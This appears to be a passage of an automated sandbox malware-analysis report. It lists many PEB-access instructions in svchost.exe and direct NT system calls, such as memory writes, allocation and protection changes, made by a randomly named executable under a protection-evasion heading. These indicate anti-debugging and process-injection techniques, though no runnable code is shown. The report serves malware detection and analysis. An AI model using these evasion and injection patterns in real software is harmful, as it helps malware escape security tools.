Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030590DB mov eax, dword ptr fs:[00000030h]	1_2_030590DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030550E4 mov eax, dword ptr fs:[00000030h]	1_2_030550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030550E4 mov ecx, dword ptr fs:[00000030h]	1_2_030550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_0302A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030380E9 mov eax, dword ptr fs:[00000030h]	1_2_030380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302C0F0 mov eax, dword ptr fs:[00000030h]	1_2_0302C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030720F0 mov ecx, dword ptr fs:[00000030h]	1_2_030720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03037703 mov eax, dword ptr fs:[00000030h]	1_2_03037703
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03035702 mov eax, dword ptr fs:[00000030h]	1_2_03035702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03035702 mov eax, dword ptr fs:[00000030h]	1_2_03035702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C700 mov eax, dword ptr fs:[00000030h]	1_2_0306C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030710 mov eax, dword ptr fs:[00000030h]	1_2_03030710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03060710 mov eax, dword ptr fs:[00000030h]	1_2_03060710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306F71F mov eax, dword ptr fs:[00000030h]	1_2_0306F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306F71F mov eax, dword ptr fs:[00000030h]	1_2_0306F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EF72E mov eax, dword ptr fs:[00000030h]	1_2_030EF72E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03033720 mov eax, dword ptr fs:[00000030h]	1_2_03033720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304F720 mov eax, dword ptr fs:[00000030h]	1_2_0304F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304F720 mov eax, dword ptr fs:[00000030h]	1_2_0304F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304F720 mov eax, dword ptr fs:[00000030h]	1_2_0304F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F972B mov eax, dword ptr fs:[00000030h]	1_2_030F972B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C720 mov eax, dword ptr fs:[00000030h]	1_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C720 mov eax, dword ptr fs:[00000030h]	1_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310B73C mov eax, dword ptr fs:[00000030h]	1_2_0310B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310B73C mov eax, dword ptr fs:[00000030h]	1_2_0310B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310B73C mov eax, dword ptr fs:[00000030h]	1_2_0310B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0310B73C mov eax, dword ptr fs:[00000030h]	1_2_0310B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029730 mov eax, dword ptr fs:[00000030h]	1_2_03029730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03029730 mov eax, dword ptr fs:[00000030h]	1_2_03029730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03065734 mov eax, dword ptr fs:[00000030h]	1_2_03065734
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303973A mov eax, dword ptr fs:[00000030h]	1_2_0303973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303973A mov eax, dword ptr fs:[00000030h]	1_2_0303973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306273C mov eax, dword ptr fs:[00000030h]	1_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306273C mov ecx, dword ptr fs:[00000030h]	1_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306273C mov eax, dword ptr fs:[00000030h]	1_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AC730 mov eax, dword ptr fs:[00000030h]	1_2_030AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03043740 mov eax, dword ptr fs:[00000030h]	1_2_03043740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03043740 mov eax, dword ptr fs:[00000030h]	1_2_03043740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03043740 mov eax, dword ptr fs:[00000030h]	1_2_03043740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306674D mov esi, dword ptr fs:[00000030h]	1_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306674D mov eax, dword ptr fs:[00000030h]	1_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306674D mov eax, dword ptr fs:[00000030h]	1_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030750 mov eax, dword ptr fs:[00000030h]	1_2_03030750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072750 mov eax, dword ptr fs:[00000030h]	1_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072750 mov eax, dword ptr fs:[00000030h]	1_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03103749 mov eax, dword ptr fs:[00000030h]	1_2_03103749
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B4755 mov eax, dword ptr fs:[00000030h]	1_2_030B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B765 mov eax, dword ptr fs:[00000030h]	1_2_0302B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B765 mov eax, dword ptr fs:[00000030h]	1_2_0302B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B765 mov eax, dword ptr fs:[00000030h]	1_2_0302B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302B765 mov eax, dword ptr fs:[00000030h]	1_2_0302B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03038770 mov eax, dword ptr fs:[00000030h]	1_2_03038770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EF78A mov eax, dword ptr fs:[00000030h]	1_2_030EF78A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B97A9 mov eax, dword ptr fs:[00000030h]	1_2_030B97A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BF7AF mov eax, dword ptr fs:[00000030h]	1_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BF7AF mov eax, dword ptr fs:[00000030h]	1_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BF7AF mov eax, dword ptr fs:[00000030h]	1_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BF7AF mov eax, dword ptr fs:[00000030h]	1_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BF7AF mov eax, dword ptr fs:[00000030h]	1_2_030BF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031037B6 mov eax, dword ptr fs:[00000030h]	1_2_031037B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030307AF mov eax, dword ptr fs:[00000030h]	1_2_030307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305D7B0 mov eax, dword ptr fs:[00000030h]	1_2_0305D7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F7BA mov eax, dword ptr fs:[00000030h]	1_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F7BA mov eax, dword ptr fs:[00000030h]	1_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F7BA mov eax, dword ptr fs:[00000030h]	1_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F7BA mov eax, dword ptr fs:[00000030h]	1_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F7BA mov eax, dword ptr fs:[00000030h]	1_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F7BA mov eax, dword ptr fs:[00000030h]	1_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F7BA mov eax, dword ptr fs:[00000030h]	1_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F7BA mov eax, dword ptr fs:[00000030h]	1_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F7BA mov eax, dword ptr fs:[00000030h]	1_2_0302F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303C7C0 mov eax, dword ptr fs:[00000030h]	1_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030357C0 mov eax, dword ptr fs:[00000030h]	1_2_030357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030357C0 mov eax, dword ptr fs:[00000030h]	1_2_030357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030357C0 mov eax, dword ptr fs:[00000030h]	1_2_030357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303D7E0 mov ecx, dword ptr fs:[00000030h]	1_2_0303D7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030527ED mov eax, dword ptr fs:[00000030h]	1_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030527ED mov eax, dword ptr fs:[00000030h]	1_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030527ED mov eax, dword ptr fs:[00000030h]	1_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030347FB mov eax, dword ptr fs:[00000030h]	1_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030347FB mov eax, dword ptr fs:[00000030h]	1_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03061607 mov eax, dword ptr fs:[00000030h]	1_2_03061607
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE609 mov eax, dword ptr fs:[00000030h]	1_2_030AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306F603 mov eax, dword ptr fs:[00000030h]	1_2_0306F603
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03033616 mov eax, dword ptr fs:[00000030h]	1_2_03033616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03033616 mov eax, dword ptr fs:[00000030h]	1_2_03033616
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072619 mov eax, dword ptr fs:[00000030h]	1_2_03072619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E627 mov eax, dword ptr fs:[00000030h]	1_2_0304E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F626 mov eax, dword ptr fs:[00000030h]	1_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F626 mov eax, dword ptr fs:[00000030h]	1_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F626 mov eax, dword ptr fs:[00000030h]	1_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F626 mov eax, dword ptr fs:[00000030h]	1_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F626 mov eax, dword ptr fs:[00000030h]	1_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F626 mov eax, dword ptr fs:[00000030h]	1_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F626 mov eax, dword ptr fs:[00000030h]	1_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F626 mov eax, dword ptr fs:[00000030h]	1_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302F626 mov eax, dword ptr fs:[00000030h]	1_2_0302F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03066620 mov eax, dword ptr fs:[00000030h]	1_2_03066620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03105636 mov eax, dword ptr fs:[00000030h]	1_2_03105636
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03068620 mov eax, dword ptr fs:[00000030h]	1_2_03068620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303262C mov eax, dword ptr fs:[00000030h]	1_2_0303262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304C640 mov eax, dword ptr fs:[00000030h]	1_2_0304C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F866E mov eax, dword ptr fs:[00000030h]	1_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F866E mov eax, dword ptr fs:[00000030h]	1_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A660 mov eax, dword ptr fs:[00000030h]	1_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A660 mov eax, dword ptr fs:[00000030h]	1_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03069660 mov eax, dword ptr fs:[00000030h]	1_2_03069660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03069660 mov eax, dword ptr fs:[00000030h]	1_2_03069660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03062674 mov eax, dword ptr fs:[00000030h]	1_2_03062674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B368C mov eax, dword ptr fs:[00000030h]	1_2_030B368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B368C mov eax, dword ptr fs:[00000030h]	1_2_030B368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B368C mov eax, dword ptr fs:[00000030h]	1_2_030B368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B368C mov eax, dword ptr fs:[00000030h]	1_2_030B368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034690 mov eax, dword ptr fs:[00000030h]	1_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034690 mov eax, dword ptr fs:[00000030h]	1_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C6A6 mov eax, dword ptr fs:[00000030h]	1_2_0306C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302D6AA mov eax, dword ptr fs:[00000030h]	1_2_0302D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302D6AA mov eax, dword ptr fs:[00000030h]	1_2_0302D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030276B2 mov eax, dword ptr fs:[00000030h]	1_2_030276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030276B2 mov eax, dword ptr fs:[00000030h]	1_2_030276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030276B2 mov eax, dword ptr fs:[00000030h]	1_2_030276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030666B0 mov eax, dword ptr fs:[00000030h]	1_2_030666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A6C7 mov eax, dword ptr fs:[00000030h]	1_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	1_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	1_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	1_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	1_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	1_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303B6C0 mov eax, dword ptr fs:[00000030h]	1_2_0303B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F16CC mov eax, dword ptr fs:[00000030h]	1_2_030F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F16CC mov eax, dword ptr fs:[00000030h]	1_2_030F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F16CC mov eax, dword ptr fs:[00000030h]	1_2_030F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F16CC mov eax, dword ptr fs:[00000030h]	1_2_030F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EF6C7 mov eax, dword ptr fs:[00000030h]	1_2_030EF6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030616CF mov eax, dword ptr fs:[00000030h]	1_2_030616CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C36EE mov eax, dword ptr fs:[00000030h]	1_2_030C36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C36EE mov eax, dword ptr fs:[00000030h]	1_2_030C36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C36EE mov eax, dword ptr fs:[00000030h]	1_2_030C36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C36EE mov eax, dword ptr fs:[00000030h]	1_2_030C36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C36EE mov eax, dword ptr fs:[00000030h]	1_2_030C36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C36EE mov eax, dword ptr fs:[00000030h]	1_2_030C36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305D6E0 mov eax, dword ptr fs:[00000030h]	1_2_0305D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305D6E0 mov eax, dword ptr fs:[00000030h]	1_2_0305D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B06F1 mov eax, dword ptr fs:[00000030h]	1_2_030B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B06F1 mov eax, dword ptr fs:[00000030h]	1_2_030B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030ED6F0 mov eax, dword ptr fs:[00000030h]	1_2_030ED6F0

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
